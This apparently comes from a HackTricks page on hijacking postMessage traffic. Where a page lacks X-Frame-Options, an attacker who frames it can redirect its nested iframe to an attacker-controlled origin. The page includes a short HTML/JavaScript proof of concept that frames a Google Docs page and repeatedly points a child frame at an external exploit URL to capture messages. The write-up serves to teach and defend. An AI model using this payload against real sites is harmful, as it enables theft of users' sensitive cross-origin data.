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Steal postmessage modifying iframe location
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According to this writeup, if you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe.
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using,
frames.location.This is specially useful in postMessages because if a page is sending sensitive data using a wildcard like
windowRef.postmessage("","*") it's possible to change the location of the related iframe (child or parent) to an attackers controlled location and steal that data.<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);
function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!